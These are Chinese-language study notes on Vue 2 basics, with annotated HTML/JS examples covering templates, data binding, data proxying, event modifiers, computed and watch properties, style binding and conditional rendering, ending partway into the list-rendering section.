Vue简介
官网:
- 英文官网:https://vuejs.org/Vue.js - The Progressive JavaScript Frameworkhttps://vuejs.org/
- 中文官网:https://cn.vuejs.org/Vue.js - 渐进式的 JavaScript 框架https://cn.vuejs.org/
介绍和描述
- 动态构建用户界面的 渐进式 JavaScript框架
- 作者: 尤雨溪
Vue的特点
- 遵循 MVVM 模式
- 编码简洁、体积小、运行效率高、适合移动端/PC端开发
- 它本身只关注UI,也可以引入其他第三方库开发项目
与其他JS框架的关联
Vue 周边库
- vue-cli:vue 脚手架
- vue-resource
- axios
- vue-router:路由
- vuex:状态管理
- element-ui:基于 vue 的 UI 组件库(PC端)
- ........
初始Vue
初始Vue语法
初始示例代码
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>初始Vue</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
初始Vue:
1、想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
2、root容器里的代码依然符合html规范,只不过混入一些特殊的Vue语法;
3、root容器里的代码被称为【Vue模板】;
4、Vue实例和容器是一一对应的;
5、真是开发中只有一个Vue实例,并且会配合着组件一起使用;
6、{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性
7、一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;
注意区分:js表达式 和 js代码(语句)
1、表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:
(1). a
(2). a+b
(3). demo(1)
(4). x === y ? 'a' : 'b'
2、js代码(语句)
(1).if(){}
(2).for(){}
-->
<!-- 准备好一个容器 -->
<div id="root">
<!-- toUpperCase()字符串转为大写 -->
<h1>Hello,{{name.toUpperCase()}}</h1>
<h1>我的年龄是:{{age}}</h1>
<button>点我更换学校名字</button>
</div>
<script type="text/javascript">
//阻止 vue 在启动时生成生产提示 也可在原生js里面改
Vue.config.productionTip = false;
//创建Vue实例
new Vue({
el: "#root", //el用户指定当前Vue实例为那个容器服务,值通常为css选择器字符串
data: {
//data中用户存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
name: "world",
age: 18,
},
});
</script>
</body>
</html>
模板语法
html 中包含了一些 JS 语法代码,语法分为两种,分别为:
1. 插值语法(双大括号表达式)
2. 指令(以 v-开头)
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>模板语法</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
Vue模板语法有2大类:
1、插值语法:
功能:用于解析标签体内容
写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。
2、指令语法:
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件....)。
举例:v-bind:href="xxx" 或 简写为 :href="xxx", xxx同样要写js表达式,
且可以直接读取到data中的所有属性。
备注:Vue中有很多的指令,且形式都是:v-????, 此处我们只是拿v-bind举个例子
-->
<!-- 准备好一个容器 -->
<div id="root">
<h1>插值语法</h1>
<h3>你好,{{name}}</h3>
<hr />
<h1>指定语法</h1>
<a href="http://www.atguigu.com">点我去{{school.name}}学习1</a>
<br />
<a v-bind:href="school.url">点我去{{school.name}}学习2</a>
<!-- v-bind === : -->
<a :href="school.url.toUpperCase()">点我去{{school.name}}学习3</a>
</div>
</body>
<script type="text/javascript">
//阻止 vue 在启动时生成生产提示 也可在原生js里面改
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "jack",
school: {
name: "xinze",
url: "http://www.baidu.com",
},
},
});
</script>
</html>
插值语法
写法:直接在标签体内写{{xxx}} xxx为js 表达式 也可以 直接写data中的属性
不仅可以获取data里面的属性 也可以获取data里面子模块的 属性
<h1>插值语法</h1>
<h3>你好,{{name}}</h3>
<h3>你好,{{school.name}}</h3>
指令语法 V-bind:
写法:v-???? 这里只学了 v-bind:
// v-bind:用于解析标题的属性,内容等等
<a v-bind:href="school.url">点我去{{school.name}}学习2</a>
简写 v-bind: === :
<a :href="school.url.toUpperCase()">点我去{{school.name}}学习3</a>
//toUpperCase() 字符集大写
数据绑定
vue示例
<script type="text/javascript">
//阻止 vue 在启动时生成生产提示 也可在原生js里面改
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "xinze",
},
});
</script>
单向数据绑定
单项绑定(v-bind):数据只能从data流向页面
单项数据绑定:<input type="text" v-bind:value="name" /><br />
单项数据绑定:<input type="text" :value="name" /><br />
双向数据绑定
双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。
注意:双向绑定一般都应用于在表单类元素上(如:input、select等)
v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。
双项数据绑定:<input type="text" v-model:value="name" /><br />
双项数据绑定:<input type="text" v-model="name" /><br />
<!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素) 上-->
<h2 v-model:x="name">你好啊</h2>
el和data的两种写法
el的2种写法
new Vue时候配置el属性
<script type="text/javascript">
const v = new Vue({
el: "#root", //第一种写法
data: {
name: "xinze",
},
});
</script>
先建Vue实例,随后再通过vm.$mount('#root')指定el的值。
<script type="text/javascript">
const v = new Vue({
data: {
name: "xinze",
},
});
v.$mount("#root"); //第二种写法
</script>
data的两种写法
对象式
<script type="text/javascript">
//data的两种写法
new Vue({
el: "#root",
data: { //data第一种写法:对象式
name: "xinze",
},
});
</script>
函数式
<script type="text/javascript">
new Vue({
el: "#root",
//由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
data() {
console.log("@@@", this); //此处的this是vue实例对象
return {
name: "xinze",
};
},
});
</script>
MVVM模型
M:模型(Model):data中的数据
V:视图(View):模板代码
VM:视图模型(ViewModel):Vue实例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<script src="../js/vue.js"></script>
<title>理解MVVM</title>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h1>学校名称:{{name}}</h1>
<h1>学校地址:{{address}}</h1>
<h1>测试一下1:{{1>1}}</h1>
<h1>测试一下2:{{1+1}}</h1>
<h1>测试一下3:{{$createElement}}</h1>//vue自身属性
<h1>测试一下4:{{$emit}}</h1> //vue原型的属性
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
name: "xinze",
address: "北京",
},
});
console.log(vm);
</script>
</html>
总结:
data中所有的属性,最后都出现在了vm身上
vm身上所有的属性 及 Vue原型上所有属性,在Vue模板中都可直接使用
数据代理
Object.defineproperty方法
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Object.defineproperty方法</title>
</head>
<body>
</body>
<script type="text/javascript">
let number = 18;
let person = {
name: "张三",
sex: "男",
};
Object.defineProperty(person, "age", {
// value: 18,
// enumerable: true, //控制属性是否可以枚举,默认值是false
// writable: true, //控制属性是否可以被修改,默认值false
// configurable: true, //控制属性是否可以被删除,默认值false
//当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
get() {
console.log("有人读取age属性了");
return number;
},
//当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
set(value) {
console.log("有人修改了age属性,且值是", value);
number = value;
},
});
console.log(person);
//console.log(Object.keys(person));
</script>
</html>
何为数据代理
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>何为数据代理</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 数据代理::通过一个对象代理对另一个对象中属性的操作(读/写) -->
</body>
<script type="text/javascript">
let obj = { x: 100 };
let obj2 = {};
//获取obj2的x属性的时候 调用的是get方法返回obj的x的值
Object.defineProperty(obj2, "x", {
get() {
return obj.x;
},
set(value) {
obj.x = value;
},
});
</script>
</html>
Vue中的数据代理
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Vue中的数据代理</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
1、Vue中的数据代理
通过vm对象来代理data对象中属性的操作(读/写)
2、Vue中数据代理的好处:
更加方便的操作data中的数据
3、基本原理:
通过Object.defineProperty()把data对象中所有属性添加到vm上。
为每一个添加到vm上的属性,都指定一个getter/setter。
在getter/setter内部去操作,(读/写)data中对应的属性。
-->
<!-- 准备一个容器 -->
<div id="root">
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el: "#root",
//这里的data 被实例后 会变成 vm._data 也就是说 这里的data === vm._data
//data实例的时候会被解析成为 vue实例的属性进行数据绑定 例如vm._data.name = vm.name
data: {
name: "xinze",
address: "北京",
},
});
</script>
</html>
事件处理
事件处理的基本使用
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>事件的基本使用</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
事件的基本使用:
1、使用v-on:xxx 或 @xxx 绑定事件,其中xxx是时间名(click ...);
2、事件的回调需要配置在methods对象中,最终会在vm上;
3、methods中配置的函数,不能用箭头函数!否则this就不是vm了;
4、methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;
5、@click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参;
-->
<!-- 准备好一个容器 -->
<div id="root">
<h2>欢迎来到{{name}}大家庭</h2>
<button v-on:click="showInfo1">点我提示信息1(不传参)</button><br />
<button @click="showInfo2($event,'xinze')">点我提示信息2(传参)</button>
</div>
<script type="text/javascript">
//阻止 vue 在启动时生成生产提示 也可在原生js里面改
Vue.config.productionTip = false;
const vm = new Vue({
el: "#root",
data: {
name: "xinze",
},
methods: {
//showInfo:(event) => {//Vue不能写箭头函数定义
showInfo1(event) {
//console.log(event.target.innerText);
//console.log(this); //此处的this 是vm 如果写了箭头函数 这里的this就变成了Windows
alert("你好!");
},
showInfo2(event, name) {
console.log(event, name);
//console.log(event.target.innerText);
//console.log(this); //此处的this 是vm 如果写了箭头函数 这里的this就变成了Windows
alert("你好!!");
},
},
});
</script>
</body>
</html>
事件修饰符
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>事件修饰符</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
<style>
* {
margin-top: 20px;
}
.demo1 {
height: 50px;
background-color: skyblue;
}
.box1 {
padding: 5;
background-color: skyblue;
}
.box2 {
padding: 5;
background-color: orange;
}
.list {
width: 200px;
height: 200px;
background-color: orange;
overflow: auto; /*溢出形成滚动体*/
}
li {
height: 100px;
}
</style>
</head>
<body>
<!--
Vue 中的事件修饰符:
1、prevent:阻止默认事件(常用);
2、stop:阻止事件冒泡(常用) <冒泡就是从内往外触发的过程叫做冒泡>;
3、once:事件只触发一次(常用);
4、capture:使用事件的捕获模式<捕获跟冒泡相反 从外向内的过程叫做捕获>;
5、self:只有event.target是当前操作的元素时才触发事件;
6、passive:事件的默认行为立即执行,无需等待事件回调执行完毕;
注意:
修饰符可以连续写
想要使用多条修饰符 可以在后面追加 @click.stop.prevent
-->
<!-- 准备好一个容器 -->
<div id="root">
<h2>欢迎来到{{name}}大家庭</h2>
<h3>一、阻止默认事件(常用)</h3>
<a href="http://www.baidu.com" @click="showInfo">点我提示信息</a>
<a href="http://www.baidu.com" @click.prevent="showInfo">点我提示信息(经过处理的)</a>
<h3>二、阻止事件冒泡(常用)</h3>
<div class="demo1" @click="showInfo">
<button @click="showInfo">点我提示信息</button>
</div>
<div class="demo1" @click="showInfo">
<button @click.stop="showInfo">点我提示信息(经过处理的)</button>
</div>
<div class="demo1" @click="showInfo">
<a href="http://www.baidu.com" @click.stop.prevent="showInfo">点我提示信息(经过处理的)</a>
</div>
<h3>三、事件只触发一次(常用)</h3>
<button @click="showInfo">点我提示信息</button>
<button @click.once="showInfo">点我提示信息</button>
<h3>四、使用事件的捕获模式</h3>
<div class="box1" @click="showMsg(1)">
div1
<div class="box2" @click="showMsg(2)">div2</div>
</div>
<div class="box1" @click.capture="showMsg(1)">
div1
<div class="box2" @click="showMsg(2)">div2</div>
</div>
<h3>五、只有event.target是当前操作的元素时才触发事件</h3>
<div class="demo1" @click="showConsle">
<button @click="showConsle">点我提示信息</button>
</div>
<div class="demo1" @click.self="showConsle">
<button @click="showConsle">点我提示信息</button>
</div>
<h3>六、事件的默认行为立即执行,无需等待事件回调执行完毕</h3>
<!-- scroll:滚动条滚动事件 默认优先响应滚动-->
<!-- <ul @scroll="demo" class="list"> -->
<!-- wheel: 鼠标滚轮滚动事件 -->
<ul @wheel="demo" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
<ul @wheel.pssive="demo" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
</div>
<script type="text/javascript">
//阻止 vue 在启动时生成生产提示 也可在原生js里面改
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "xinze",
},
methods: {
showInfo() {
alert("你好!");
},
showMsg(msg) {
console.log(msg);
},
showConsle(e) {
console.log(e.target);
},
demo() {
//console.log("@");
for (let i = 0; i < 100000; i++) {
console.log("#");
}
console.log("Vue累死了");
},
},
});
</script>
</body>
</html>
键盘事件
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>键盘事件</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
1.Vue中常用的按键别名:
回车 => enter
删除 => delete(捕获"删除"和"退格"键)
推出 => esc
空格 => space
换行 => tab (特殊,必须配合keydown去使用)
上 => up
下 => down
左 => left
右 => right
2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意(单个单词)首字母大写 (多单词)要转为kebab-case(短横线命名)
3.系统修饰键 (用法特殊) : ctrl alt shift meta(win键)
(1).配合keyup事件使用: 按下修饰键的同时, 再按下其他键, 随后释放其他键, 事件才会被触发
(2).配合keydown使用: 正常触发事件
4.也可以使用keyCode去指定具体的按键(不推荐)
5.Vue.config.keyCodes.自定义键名 = 键码 可以去定制按键别名
注意:
按键也可以连续写
-->
<!-- 准备好一个容器 -->
<div id="root">
<h2>欢迎来到{{name}}大家庭</h2>
<input
type="text"
placeholder="按下回车提示输入"
@keyup.huiche="showInfo"
/>
<input
type="text"
placeholder="按下回车提示输入"
@keyup.ctrl.y="showInfo"
/>
</div>
<script type="text/javascript">
//阻止 vue 在启动时生成生产提示 也可在原生js里面改
Vue.config.productionTip = false;
Vue.config.keyCodes.huiche = 13; //定义一个别名按键
new Vue({
el: "#root",
data: {
name: "xinze",
},
methods: {
showInfo(e) {
//console.log(e.key, e.keyCode); //输出当前你按下键盘的 键值
//if (e.keyCode !== 13) return;
console.log(e.target.value);
},
},
});
</script>
</body>
</html>
计算属性
插值语法实现
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>姓名案例_插值语法实现</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
姓: <input type="text" v-model="firstName" /> <br />
名:<input type="text" v-model="lastName" /> <br />
姓名: <span>{{firstName}}-{{lastName}}</span>
</div>
<script type="text/javascript">
//阻止 vue 在启动时生成生产提示 也可在原生js里面改
Vue.config.productionTip = false;
//创建Vue实例
new Vue({
el: "#root",
data: {
firstName: "xin",
lastName: "ze",
},
});
</script>
</body>
</html>
methods实现
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>姓名案例_methods实现</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
姓: <input type="text" v-model="firstName" /> <br />
名:<input type="text" v-model="lastName" /> <br />
全名: <span>{{fullName()}}</span>
</div>
<script type="text/javascript">
//阻止 vue 在启动时生成生产提示 也可在原生js里面改
Vue.config.productionTip = false;
//创建Vue实例
new Vue({
el: "#root",
data: {
firstName: "xin",
lastName: "ze",
},
methods: {
fullName() {
return this.firstName + "-" + this.lastName;
},
},
});
</script>
</body>
</html>
计算属性实现
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>姓名案例_计算属性简写</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
姓: <input type="text" v-model="firstName" /> <br />
名:<input type="text" v-model="lastName" /> <br />
全名: <span>{{fullName}}</span><br />
全名: <span>{{demo}}</span><br />
</div>
<script type="text/javascript">
//阻止 vue 在启动时生成生产提示 也可在原生js里面改
Vue.config.productionTip = false;
//创建Vue实例
const vm = new Vue({
el: "#root",
data: {
firstName: "xin",
lastName: "ze",
},
methods: {
demo() {},
},
computed: {
//计算属性 必须具备get 调用该计算属性会自动读取get 不需手动调
fullName: {
//get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
//get什么时候调用?1. 初次读取fullName时 2. 所依赖的数据发生变化时
get() {
console.log("get被调用了");
//console.log(this); //此处的this是vm
return this.firstName + "-" + this.lastName;
},
//set什么时候调用? 当fullName别修改时
set(value) {
console.log("set", value);
const arr = value.split("-"); //split() 根据所传参数 拆分字符串为数组
this.firstName = arr[0];
this.lastName = arr[1];
},
},
},
});
</script>
</body>
</html>
计算属性简写
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>姓名案例_计算属性实现</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
计算属性:
1.定义: 要用的属性不存在, 要通过已有属性计算得来.
2.原理: 底层借助了Objcet.defineproperty方法提供的getter和setter
3.get函数什么时候执行?
(1).初次读取会执行一次
(2).当依赖的数据发生改变时会被再次调用
4.优势: 与methods实现相比, 内部有缓存机制(复用), 效率更高, 调试方便(因为计算属性会显示在Vue开发者工具里)
5.备注:
(1).计算属性最终会出现在vm上, 直接 读取 使用即可 (不需要调用get)
(2).如果计算属性要被修改, 那必须写set函数去响应修改, 且set中要引起计算时依赖的数据发生改变
-->
<!-- 准备好一个容器 -->
<div id="root">
姓: <input type="text" v-model="firstName" /> <br />
名:<input type="text" v-model="lastName" /> <br />
全名: <span>{{fullName}}</span><br />
</div>
<script type="text/javascript">
//阻止 vue 在启动时生成生产提示 也可在原生js里面改
Vue.config.productionTip = false;
//创建Vue实例
const vm = new Vue({
el: "#root",
data: {
firstName: "xin",
lastName: "ze",
},
computed: {
//完整写法
/* fullName: {
get() {
console.log("get被调用了");
return this.firstName + "-" + this.lastName;
},
set(value) {
console.log("set", value);
const arr = value.split("-"); //split() 根据所传参数 拆分字符串为数组
this.firstName = arr[0];
this.lastName = arr[1];
},
} ,*/
//简写写法
fullName() {
console.log("get被调用了");
return this.firstName + "-" + this.lastName;
},
},
});
</script>
</body>
</html>
监视属性
普通方法实现
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>天气案例</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h2>今天天气很{{info}}</h2>
<!-- <h2>今天天气很</h2> -->
<button @click="changWeather">切换天气</button>
<!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句 -->
<!-- <button @click="isHot = !isHot">切换天气</button> -->
<!-- 调用window身上的弹框属性 -->
<!-- <button @click="window.alert(1)">切换天气</button> -->
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
isHot: true,
window, //声明一个window属性 方调用window身上的方法
},
computed: {
info() {
return this.isHot ? "炎热" : "凉爽";
},
},
methods: {
changWeather() {
this.isHot = !this.isHot;
},
},
});
</script>
</body>
</html>
监视属性实现的两种方法
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>天气案例_监视属性</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
监视属性watch:
1、当被监视的属性变化时,回调函数(handler)自动调用,进行相关操作
2、监视的属性必须存在,才能进行监视!! 不存在也会调用回调函数 之不过返回空值
监视属性的属性 也可以是计算属性
3、监视的两种写法
(1)、new Vue时传入watch配置
(2)、通过vm.$watch监视 (这样调用属性的时候要加上引号)
-->
<!-- 准备好一个容器 -->
<div id="root">
<h2>今天天气很{{info}}</h2>
<!-- <h2>今天天气很</h2> -->
<button @click="changWeather">切换天气</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el: "#root",
data: {
isHot: true,
},
computed: {
info() {
return this.isHot ? "炎热" : "凉爽";
},
},
methods: {
changWeather() {
this.isHot = !this.isHot;
},
}, //第一种写法
/* watch: {
//监视属性 也能监视 计算属性
isHot: {
immediate: true, //初始化时让handler调用一下
//handler什么时候调用?当isHot发生改变时
handler(newValue, oldValue) {
console.log("isHot被修改了", newValue, oldValue);
},
},
}, */
});
//第二种写法
vm.$watch("isHot", {
mmediate: true, //初始化时让handler调用一下
//handler什么时候调用?当isHot发生改变时
handler(newValue, oldValue) {
console.log("isHot被修改了", newValue, oldValue);
},
});
</script>
</body>
</html>
深度监视
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>天气案例_深度监视</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
深度监视:
(1)、Vue中的watch默认不检测对象内部值的该变 (只检测一层结构)
(2)、配置deep:true 可以检测对象内部值改变 (监测多层)
备注:
(1)、Vue自身可以检测对象内部值的改变,但Vue提供的watch默认不可以!
(2)、使用watch时根据数据的具体结构,决定是否采用深度监视。
-->
<!-- 准备好一个容器 -->
<div id="root">
<h2>今天天气很{{info}}</h2>
<button @click="changWeather">切换天气</button>
<hr />
<h2>a的值时:{{numbers.a}}</h2>
<button @click="numbers.a++">点我让a+1</button>
<h2>a的值时:{{numbers.b}}</h2>
<button @click="numbers.b++">点我让b+1</button>
<button @click="numbers = {a:888,b:888}">彻底替换掉numbers</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el: "#root",
data: {
isHot: true,
numbers: {
a: 1,
b: 1,
},
},
computed: {
info() {
return this.isHot ? "炎热" : "凉爽";
},
},
methods: {
changWeather() {
this.isHot = !this.isHot;
},
},
watch: {
isHot: {
//immediate: true, //初始化时让handler调用一下
//handler什么时候调用?当isHot发生改变时
handler(newValue, oldValue) {
console.log("isHot被修改了", newValue, oldValue);
},
},
//监视多级属性中的 某个 属性的变化
/* "numbers.a": {
handler() {
console.log("a改变了");
},
}, */
//监视多级结构中所有属性的变化
numbers: {
deep: true, //深度监视
handler() {
console.log("numbers改变了");
},
},
},
});
</script>
</body>
</html>
简写
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>天气案例_深度监视_简写</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h2>今天天气很{{info}}</h2>
<button @click="changWeather">切换天气</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el: "#root",
data: {
isHot: true,
},
computed: {
info() {
return this.isHot ? "炎热" : "凉爽";
},
},
methods: {
changWeather() {
this.isHot = !this.isHot;
},
},
watch: {
//正常写法
/* isHot: {
//immediate: true, //初始化时让handler调用一下
//deep: true, //开启深度监视
handler(newValue, oldValue) {
console.log("isHot被修改了", newValue, oldValue);
},
}, */
//简写写法 前提时不添加别的修改 只调用handler
/* isHot(newValue, oldValue) {
console.log("isHot被修改了", newValue, oldValue);
}, */
},
});
//正常写法
/* vm.$watch("isHot", {
//immediate: true, //初始化时让handler调用一下
//deep: true, //开启深度监视
handler(newValue, oldValue) {
console.log("isHot被修改了", newValue, oldValue);
},
}); */
//简写写法
vm.$watch("isHot", function (newValue, oldValue) {
console.log("isHot被修改了", newValue, oldValue);
});
</script>
</body>
</html>
监视属性实现计算属性的功能
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>姓名案例_watch实现</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
computed和watch之间的区别:
1、computed能完成的功能,watch都可以完成
2、watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作
两个重要的小原则:
1、所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。
2、所有不被Vue所管理的函数 (定时器的回调函数,ajax的回调函数等),最好写成箭头函数,这样this的指向才是vm 或 组件实例对象。
-->
<!-- 准备好一个容器 -->
<div id="root">
姓: <input type="text" v-model="firstName" /> <br />
名:<input type="text" v-model="lastName" /> <br />
全名: <span>{{fullName}}</span><br />
</div>
<script type="text/javascript">
//阻止 vue 在启动时生成生产提示 也可在原生js里面改
Vue.config.productionTip = false;
//创建Vue实例
const vm = new Vue({
el: "#root",
data: {
firstName: "xin",
lastName: "ze",
fullName: "xin-ze",
},
watch: {
firstName(val) {
//这里必须写箭头函数 因为箭头函数是往外找this的 写了普通函数 this就变成了window
setTimeout(() => {
this.fullName = val + "-" + this.lastName;
}, 1000);
},
lastName(val) {
this.fullName = this.firstName + "-" + val;
},
},
});
</script>
</body>
</html>
绑定样式
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>绑定样式</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
<style>
#root div {
display: inline-block;
margin-right: 30px;
}
.bor {
width: 200px;
height: 200px;
border: 5px solid black;
}
.pink {
background-color: pink;
border: 5px solid plum;
}
.plum {
background-color: plum;
border: 5px solid pink;
}
.pale {
background-color: palevioletred;
border: 5px solid green;
}
.size1 {
background-color: green;
}
.size2 {
border-radius: 10%;
}
.size3 {
text-shadow: 2px 2px red;
}
</style>
</head>
<body>
<!--
绑定样式:
1、class样式
写法:class="xxx" xxx可以是字符串、对象、数组
字符串写法适用于:类名不确定、要动态获取
对象写法适用于:要绑定多个样式、个数不确定、名字也不确定
数组写法适用于:要绑定多个样式、个数确定、名字也确定、但不确定用不用
2、style样式
:style="{fontSize: xxx}" 其中xxx是动态值。
:style="[a,b]" 其中a、b是样式对象。
-->
<!-- 准备好一个容器 -->
<div id="root">
<!-- 绑定class样式 -- 字符串写法,适用于:样式的类名不确定,需要动态指定 -->
<div class="bor" :class="color" @click="changeMood">{{name}}</div>
<!-- 绑定class样式 -- 数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
<!-- <div class="bor" :class="["size1", "size2", "size3"]" @click="changeMood">{{name}}</div> -->
<div class="bor" :class="classArry">{{name}}</div>
<!-- 绑定class样式 -- 对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
<!-- <div class="bor" :class="{size1:true,size2:true}" @click="changeMood">{{name}}</div> -->
<div class="bor" :class="classObj">{{name}}</div>
<!-- 绑定style样式 -- 对象写法 -->
<div class="bor" :style="styleObj">{{name}}</div>
<!-- 绑定style样式 -- 数组写法 -->
<div class="bor" :style="[styleObj,styleObj2]">{{name}}</div>
<div class="bor" :style="styleAry">{{name}}</div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "xinze",
color: "pink",
classArry: ["size1", "size2", "size3"],
classObj: {
size1: false,
size2: false,
},
styleObj: {
fontSize: "40px",
},
styleObj2: {
backgroundColor: "orange",
},
styleAry: [
{
fontSize: "40px",
},
{
backgroundColor: "pink",
},
],
},
methods: {
changeMood() {
const arry = ["pink", "plum", "pale"];
const index = Math.floor(Math.random() * 3);
this.color = arry[index];
},
},
});
</script>
</body>
</html>
条件渲染
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>条件渲染</title>
<!-- 引入开发Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!--
条件渲染:
1、v-if
写法:
(1)、v-if = "表达式" (表达式 的返回值 必须是Boolean类型)
(2)、v-eles-if = "表达式"
(3)、v-else 表达式不成立显示的区域
适用于:切换频率较低的场景
特点:不展示的DOM元素直接被移除 (在控制台看不到该DOM元素)
注意:v-if可以和v-else-if、v-else一起使用、但要求结构不能被 “打断”
2、v-show
写法:v-show = "表达式" (表达式 的返回值 必须是Boolean类型)
适用于:切换频率较高的场景。
特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉。(可以在控制台看到该DOM元素)
3、备注:使用v-if的时候,元素可能无法获取到,而使用v-show一定可以获取到。
-->
<!-- 准备好一个容器 -->
<div id="root">
<h2>当前num值:{{num}}</h2>
<button @click="num++">点我num+1</button>
<button @click="num--">点我num-1</button>
<!-- 使用 v-show 做条件渲染 -->
<!-- <h2 v-show="false">你好,{{name}}</h2> -->
<!-- <h2 v-show="1 === 3">你好,{{name}}</h2> -->
<!-- 使用 v-if 做条件渲染 -->
<!-- <h2 v-if="false">你好,{{name}}</h2> -->
<!-- <h2 v-if="true">你好,{{name}}</h2> -->
<!-- v-else-if和v-else -->
<h2 v-if="num === 1">111</h2>
<h2 v-else-if="num === 2">222</h2>
<h2 v-else-if="num === 3">333</h2>
<h2 v-else>{{name}}</h2>
<!-- 如果想实现 块区域的 显示隐藏 建议使用 template 因为他不占用文档位置 不建议使用div 因为他出现的时候会占用文档位置
注意:template 只能 使用 v-if来渲染 不支持使用v-show -->
<!-- v-if和template的配合使用 -->
<template v-if="num === 1">
<h2>你好</h2>
<h2>xinze</h2>
</template>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "xinze",
num: 0,
},
});
</script>
</body>
</html>
列表渲染
基本列表
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>基本列表</title>
<!-- 引入开发Vue -->
